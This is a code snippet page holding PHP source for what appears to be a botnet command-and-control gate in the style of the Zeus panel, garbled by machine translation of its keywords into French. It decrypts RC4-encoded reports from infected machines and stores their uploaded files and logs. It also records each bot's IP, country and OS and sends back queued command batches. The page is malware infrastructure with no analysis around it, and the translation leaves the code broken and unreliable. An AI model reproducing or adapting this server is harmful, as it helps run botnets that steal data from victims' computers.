class= " lineNumbers " de
1 :
2 :
3 :
4 :
5 :
6 :
7 :
8 :
9 :
10 :
11 :
12 :
13 :
14 :
15 :
16 :
17 :
18 :
19 :
20 :
21 :
22 :
23 :
24 :
25 :
26 :
27 :
28 :
29 :
30 :
31 :
32 :
33 :
34 :
35 :
36 :
37 :
38 :
39 :
40 :
41 :
42 :
43 :
44 :
45 :
46 :
47 :
48 :
49 :
50 :
51 :
52 :
53 :
54 :
55 :
56 :
57 :
58 :
59 :
60 :
61 :
62 :
63 :
64 :
65 :
66 :
67 :
68 :
69 :
70 :
71 :
72 :
73 :
74 :
75 :
76 :
77 :
78 :
79 :
80 :
81 :
82 :
83 :
84 :
85 :
86 :
87 :
88 :
89 :
90 :
91 :
92 :
93 :
94 :
95 :
96 :
97 :
98 :
99 :
100 :
101 :
102 :
103 :
104 :
105 :
106 :
107 :
108 :
109 :
110 :
111 :
112 :
113 :
114 :
115 :
116 :
117 :
118 :
119 :
120 :
121 :
122 :
123 :
124 :
125 :
126 :
127 :
128 :
129 :
130 :
131 :
132 :
133 :
134 :
135 :
136 :
137 :
138 :
139 :
140 :
141 :
142 :
143 :
144 :
145 :
146 :
147 :
148 :
149 :
150 :
151 :
152 :
153 :
154 :
155 :
156 :
157 :
158 :
159 :
160 :
161 :
162 :
163 :
164 :
165 :
166 :
167 :
168 :
169 :
170 :
171 :
172 :
173 :
174 :
175 :
176 :
177 :
178 :
179 :
180 :
181 :
182 :
183 :
184 :
185 :
186 :
187 :
188 :
189 :
190 :
191 :
192 :
193 :
194 :
195 :
196 :
197 :
198 :
199 :
200 :
201 :
202 :
203 :
204 :
205 :
206 :
207 :
208 :
209 :
210 :
211 :
212 :
213 :
214 :
215 :
216 :
217 :
218 :
219 :
220 :
221 :
222 :
223 :
224 :
225 :
226 :
227 :
228 :
229 :
230 :
231 :
|
class= de
>< " de l'id= " codeSnippet835002 de = » ». $ip. « && de la " LIMITE 1 »)) ($m="mysql_fetch_row" ($r)) !="=" faux) { $m de retour [0] ; } retourner « -- » ; } touint de fonction ($str) { $q="@unpack" (« L », $str) ; si (is_array ($q) && is_numeric ($q [1])) { $q de retour [1] ; } retour 0 ; } toint de fonction ($str) { $q="@unpack" (« l », $str) ; si (is_array ($q) && is_numeric ($q [1])) { $q de retour [1] ; } retour 0 ; } toushort de fonction ($str) { $q="@unpack" (« S », $str) ; si (is_array ($q) && is_numeric ($q [1])) { $q de retour [1] ; } retour 0 ; } définir (« __REPORT », « 1 ») ; si ($_SERVER [« REQUEST_METHOD »] !="=" « POTEAU ») { sortie () ; } require_once (« système global.php ») ; require_once (« système config.php ») ; $data="@file_get_contents" (« PHP : input ») ; $data_size="@strlen" ($data) ; si ($data_size < HEADER_SIZE + ITEM_HEADER_SIZE) { sortie () ; } $data="rc4" ($data, BIN_CRYPTKEY) ; si (strcmp (md5 (le substr ($data, HEADER_SIZE), rectifient), substr ($data, HEADER_MD5, 16)) !="=" 0) { sortie () ; } $list="rangée" () ; $i="HEADER_SIZE" ; tandis que ($i < $data_size) { $k="@unpack" (« L4 », @substr ($data, $i, ITEM_HEADER_SIZE)) ; $list [$k [1]]="@substr" ($data, $i + ITEM_HEADER_SIZE, $k [3]) ; $i +="ITEM_HEADER_SIZE" + $k [3] ; } supprimé ($data) ; si (vider ($list [SBCID_BIN_VERSION]) || vider ($list [SBCID_BIN_ID])) { sortie () ; } si (! connecttodb ()) { sortie () ; } $bin_id="équilibre" ($list [SBCID_BIN_ID]) ; $bin_id_q="addslashes" ($bin_id) ; $binnet="vident" ($list [SBCID_BINNET]) ? DEFAULT_BINNET : équilibre ($list [SBCID_BINNET]) ; $binnet_q="addslashes" ($binnet) ; $bin_version="touint" ($list [SBCID_BIN_VERSION]) ; $real_ipv4="équilibre" (! vider ($_GET [« IP »]) ? $_GET [« IP »] : $_SERVER [« REMOTE_ADDR »]) ; $country="getcountryipv4" () ; $country_q="addslashes" ($country) ; $curtime="temps" () ; $rtime_min_online="$curtime" - BIN_TIMEOUT * 60 ; si (! vider ($list [SBCID_BATCH_STATUS])) { faire { mysql_query (les « bincmdbatches de MISE À JOUR ONT PLACÉ complete="complete+1," complete_BINs="CONCAT" (complete_BINs, « \ \ 0 ». $bin_id_q. » \ \ 0 ») OÙ batch_id="".toint ($list [SBCID_BATCH_STATUS]). » " LIMITE 1 ") ; file_put_contents (« 2 », mysql_error ()) ; sendemptyreply () ; } autrement { si (! vider ($list [SBCID_BINLOG]) || ! vider ($list [SBCID_BINLOG_TYPE])) { $type="touint" ($list [SBCID_BINLOG_TYPE]) ; si (="=" BLT_FILE de $type) { $bad_exts="rangée" (« PHP », « asp », « exe », « pl », « cgi », « cmd », « batte ») ; $fd_hash="md5" ($list [SBCID_BINLOG]) ; $file_path="str_replace" (« \ \ », « », « ». $BINnet. « ». $BIN_id. « ». (vider ($list [SBCID_PATH_DEST]) ? « inconnu » : $list [SBCID_PATH_DEST])) ; si (strpos ($file_path, « . .")="==" faux) { $file_path="REPORTS_PATH." « files ». $file_path ; $inf="pathinfo" ($file_path) ; si (vider ($inf [« prolongation »])) { $inf [« prolongation »]="« dat »" ; } $file_path="$inf" [« dirname »]. » « .basename ($inf [« basename »], ». « . $inf [« prolongation »]). « *. ». $inf [« prolongation »] ; si (array_search (strtolower ($inf [« prolongation »]), $bad_exts) !="=" faux) { $file_path.="« .dat »" ; } $i="0" ; pour (; $i < 9999 ; ++$i) { $f="str_replace" (« * »,="=" 0 de $i ? "" : » [« . $i. »] « , $file_path) ; si (file_exists ($f)) { si (($fd_size="filesize" ($f)) le strcmp de &&="==" 0 (de md5_file ($f), $fd_hash)) { coupure ; si (md5_file ($f)) { coupure ; } } autrement { si (createdir ($inf [« dirname »])) { } si (! ($h="fopen" ($f, « wb »))) { sortie () ; } bande ($h, LOCK_EX) ; fwrite ($h, $list [SBCID_BINLOG]) ; bande ($h, LOCK_UN) ; fclose ($h) ; } coupure ; } } } autrement si (="=" de REPORTS_TO_DB 1) { $table="« reports_ »" .gmdate (« ymd », $curtime) ; $QUERY="« INSERTION" A RETARDÉ DANS ». $table. « PLACER BIN_id="".$bin_id_q. « « , BINnet= » ». $BINnet_q. « « , BIN_version= » ». $BIN_version. « « , path_source= » ». (vider ($list [SBCID_PATH_SOURCE]) ? "" : addslashes ($list [SBCID_PATH_SOURCE])). « « , path_dest= » ». (vider ($list [SBCID_PATH_DEST]) ? "" : addslashes ($list [SBCID_PATH_DEST])). « « , time_system= » ». (vider ($list [SBCID_TIME_SYSTEM]) ? 0 : toint ($list [SBCID_TIME_SYSTEM])). « « , time_tick= » ». (vider ($list [SBCID_TIME_TICK]) ? 0 : toint ($list [SBCID_TIME_TICK])). « « , time_localbias= » ». (vider ($list [SBCID_TIME_LOCALBIAS]) ? 0 : toint ($list [SBCID_TIME_LOCALBIAS])). « « , os_version= » ». (vider ($list [SBCID_OS_INFO]) ? "" : addslashes ($list [SBCID_OS_INFO])). « « , language_id= » ». (vider ($list [SBCID_LANGUAGE_ID]) ? 0 : toushort ($list [SBCID_LANGUAGE_ID])). « « , process_name= » ». (vider ($list [SBCID_PROCESS_NAME]) ? "" : addslashes ($list [SBCID_PROCESS_NAME])). « « , type= » ». $type. « « , ipv4= » » .addslashes ($real_ipv4). « « , country= » ». $country_q. « « , rtime= » ». $curtime. « « , context= » » .addslashes ($list [SBCID_BINLOG]). « " » ; si (@ ! mysql_query ($query) || @ (! mysql_query (« CRÉER LA TABLE SINON EXISTE ». $table. « COMME le && de rapports ») ! @mysql_query ($query))) { sortie () ; } } autrement si (="=" de REPORTS_TO_FS 1) { $file_path="str_replace" (« \ \ », « », « ». $BINnet. « ». $real_ipv4) ; si (! (strpos ($file_path, « . .")="==" faux)) { coupure ; } $file_path="REPORTS_PATH." « logs ». $file_path ; si (createdir ($file_path)) { } si (! ($h="fopen" ($file_path. « ». $BIN_id, « wb »))) { sortie () ; } bande ($h, LOCK_EX) ; fwrite ($h, « bin_id=" »." $bin_id. » \ r \ nbinnet=". $binnet. « \ r \ ntime_system= ». (vider ($list [SBCID_TIME_SYSTEM]) ? 0 : ftime (« H : i : s d.m.Y », toint ($list [SBCID_TIME_SYSTEM]))). » \ r \ ntime_tick= " . (vider ($list [SBCID_TIME_TICK]) ? 0 : toint ($list [SBCID_TIME_TICK])). « \ r \ ntime_localbias=" »." (vider ($list [SBCID_TIME_LOCALBIAS]) ? 0 : toint ($list [SBCID_TIME_LOCALBIAS])). » \ r \ nlanguage_id=". (vider ($list [SBCID_LANGUAGE_ID]) ? 0 : toushort ($list [SBCID_LANGUAGE_ID])). « \ r \ nprocess_name= ». (vider ($list [SBCID_PROCESS_NAME]) ? " " : $list [SBCID_PROCESS_NAME]). » \ r \ ntype=". $type. « \ r \ nipv4= ». $real_ipv4. » \ r \ ncountry= " . $country. « \ r \ nrtime=" »" .ftime (« H : i : s d.m.Y », $curtime). » \ r \ ncontext=". $list [SBCID_BINLOG]. « \ r \ n \ r \ n \ r \ n ») ;
bande ($h, LOCK_UN) ;
fclose ($h) ;
}
}
autrement si (! vider ($list [SBCID_BIN_STATUS]))
{
$query = « BIN_id='" .$bin_id_q. « « , BINnet=" » »." $BINnet_q. « « , BIN_version=" » »." $BIN_version. « « , net_latency=" » »." (vider ($list [SBCID_NET_LATENCY]) ? 0 : touint ($list [SBCID_NET_LATENCY])). « « , port_s1=" » »." (vider ($list [SBCID_PORT_S1]) ? 0 : toushort ($list [SBCID_PORT_S1])). « « , time_localbias=" » »." (vider ($list [SBCID_TIME_LOCALBIAS]) ? 0 : toint ($list [SBCID_TIME_LOCALBIAS])). « « , os_version=" » »." (vider ($list [SBCID_OS_INFO]) ? "" : addslashes ($list [SBCID_OS_INFO])). « « , language_id=" » »." (vider ($list [SBCID_LANGUAGE_ID]) ? 0 : toushort ($list [SBCID_LANGUAGE_ID])). « « , ipv4=" » »" .addslashes ($real_ipv4). « « , country=" » »." $country_q. « « , rtime_last=" » »." $curtime. « ' » ; si (mysql_query (« INSERTION DANS BINlist rtime_first="".$curtime RÉGLÉ. « « , rtime_online= » {$curtime} « , flag_install= » ». (touint ($list [SBCID_BIN_STATUS]) == BS_INSTALLED ? 1 : 0). « « , ». $query. (« SUR rtime_online=IF de MISE À JOUR de VALEUR DE CLÉ IDENTIQUE (<= de rtime_last » « . $rtime_min_online. » « , » {$curtime} " , rtime_online), {$query} "))) { coupure ; } sortie () ; } autrement { sortie () ; } } tandis que (0) ; } $reply_data ; $reply_count="0" ; $BIN_id_q="tosqlsafemask" ($BIN_id_q) ; $BINnet_q="tosqlsafemask" ($BINnet_q) ; $country_q="tosqlsafemask" ($country_q) ; $r="@mysql_query" (« identification CHOISIE, batch_id, batch_text de BINcmdbatches OÙ flag_disabled="0" ET (send_limit="0" OU sended < send_limit) ET » .(" (les complete_BINs PAS AIMENT « % \ \ 0 ». $BIN_id_q. » \ \ 0% ») ET ").(" (le countries_wl OU le countries_wl AIMENT « % BINAIRES \ \ 0 ". $country_q. « \ \ 0% ») ET ").(" (le countries_bl PAS AIMENT « % BINAIRES \ \ 0 ». $country_q. » \ \ 0% ») ET ").(" (le binnets_wl OU le binnets_wl AIMENT « % BINAIRES \ \ 0 ". $BINnet_q. « \ \ 0% ») ET ").(" (le binnets_bl PAS AIMENT « % BINAIRES \ \ 0 ». $BINnet_q. » \ \ 0% ») ET ").(" (BINs_wl OU BINs_wl AIMENT « % BINAIRES \ \ 0 ". $BIN_id_q. « \ \ 0% ») "). « LIMITE 10 ») ; tandis que (&& de $r ($m="mysql_fetch_row" ($r))) { $size="strlen" ($m [2]) ; $reply_data.="paquet" (« LLLL », $m [1], 0, $size, $size). $m [2] ; ++$reply_count ; @mysql_query (les « bincmdbatches de MISE À JOUR ONT PLACÉ sended="sended+1" OÙ id="".$m [0]. « " LIMITE 1 ») ; } si (0 < $reply_count) { $reply_data="paquet" (« LLL », HEADER_SIZE + strlen ($reply_data), 0, $reply_count) .md5 ($reply_data, vrais). $reply_data ; écho rc4 ($reply_data, BIN_CRYPTKEY) ; sortie () ; } sendemptyreply () ; ?>
|